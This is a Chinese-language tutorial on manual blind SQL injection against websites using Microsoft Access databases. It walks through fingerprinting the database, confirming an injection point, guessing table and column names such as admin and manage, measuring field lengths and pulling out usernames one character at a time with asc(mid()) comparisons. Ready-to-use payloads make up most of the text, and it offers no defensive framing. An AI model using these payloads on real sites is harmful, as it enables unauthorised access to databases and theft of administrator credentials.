注入ACCESS时,不能和MYSQL一样可以把表名爆出,只能一个一个去猜。
1.找到网站后,查看是否为ACCESS数据库。
构造payload URL+ and exists (select id from mysysaccessobjects) 返回正确,则为access数据库。
and (select count(*) from msysobjects)>0 –返回权限不足为access数据库
and (select count(*) from sysobjects)>0 –返回正常则为MSSQL数据库
想法设法让他报错,错误信息中包含数据库信息。
2.进行and 1=1(显示正常) 与and1=2(报错)确实是注入点。
3.URL + and 0<=(select count(*) from admin) and 1<2 查看返回结果,发现出错。说明没有admin这个表。 (使用参见的表名进行猜测) and (select count(*) from admin) 即可
4.URL + and 0<=(select count(*) from manage) and 1<2 查看返货结果,反正正确页面。说明数据库中含有manage这个表。 and (select count(*) from manage) 即可
一个一个去尝试看看别的表名是什么。
5.确定manage这个表的存在,然后接下来判断表内有多少条记录数
payload: and (select count(*) from 猜到的表名)>X
(X是个数字,>我们也可以替换为=或<)。
尝试: and (select count(*) from manage)>0 看是否返回正确页面。正确说明有 >0的记录数。然后继续修改X 确定有多少条记录数。 这里测试后只有一条记录。
6.知道manage 表中只有一个记录也就是只有一个列。然后猜测列名。
payload : (select count(username) from manage) 猜测manage表中是否有username这个列。 然后把username 换成一些常用的password id等等去测试。
7.知道列名后,然后猜测字段长度。
payload:使用语句and (select top 1 len(列) from 表)>X,`select top 1`是查询第一条数据的意思。(查询第二条字段长度必须先把第一条的字段值判断出来)
payload:and (select top 1 len(username) from manage)>4 返回正确页面,说明第一个字段大于4
payload:and (select top 1 len(username) from manage)>5 返回错误页面,说明第一个字段小于5 。结合说明第一个字段长度为5
8.
判断字段值
payload:and (select top 1 asc(mid(字段名,X,1)) from 表名)>N,这个句子里的N和X都是数字。top 1还是是查询第一条数据的意思。
asc()这个函数是用来得到()里的字符串的 ASCII码(什么是ASCII码呢?计算机内部采用二进制的方式计数,那么它为什么又能识别十进制数和各种字符、图形呢?
其实,不论是数值数据还是文字、图形等,在计算机内部都采用了一种编码标准。通过编码标准可以把它转换成二进制数来进行处理,计算机将这些信息处理完毕再转换成可视的信息显示出来。常用的字符代码是 ASCII码,它原来是美国的国家标准,
1967年被定为国际标准。),比如a所对应的ASCII码就是97。
mid(字段名,A, N),这个函数是用来截取()里的字段从第A个长度起往后截取N个字,比如mid(username,2,3)就表示从username字段中从第二个字符向后截取3位,包括第二个字符,比如值为admin,截取的就是dmi。我们上面使用mid(字段名,X,1),
最后面那个数字是1,但前面还有个asc()函数,asc()这个函数一下就只把一个字符转换成ASCII码,所以我们用mid()函数来截取列值的时候只截取一位。
构造payload: and (select top 1 asc(mid(username,1,1)) from manage)>96 页面返回正常页面 说明username列中的第一个字段往后的一位大于 96(转码之后)
and (select top 1 asc(mid(username,1,1)) from manage)>97 页面返回错误页面,说明username列中的第一字段往后的一位不大于97(转码之后)。说明是97 ASCII转码之后是a
然后在构造payload :and (select top 1 asc(mid(username,2,1)) from manage)>97 继续猜测第二个字段。使用这个方法继续猜测之后的字段。能把所有的字段都爆出来。
9. 有时候,我们会碰到汉字的数据,比如username中数据就是“管理员”,这时就不能使用ASCII码了
10.用逐字猜解列值的方 法,有的时候是 >0 页面还是返回错误!不大于0就说晚这个值的ASCII码是负数,也就是汉字!这个时候我们要想得到它的ASCII码,就要用到一个函数了!abs()这个 函数是用来返回一个值的绝对值的!我们只要把这个函数加在句子里,就可以按照平常的方法猜ASCII码了。具体是这么加的:and (select top 1 abs(asc(mid(列,X,1))) from admin)>N
就是这样了,不过等猜出来后不要忘了加负号。
11.联合查询也可以尝试猜测。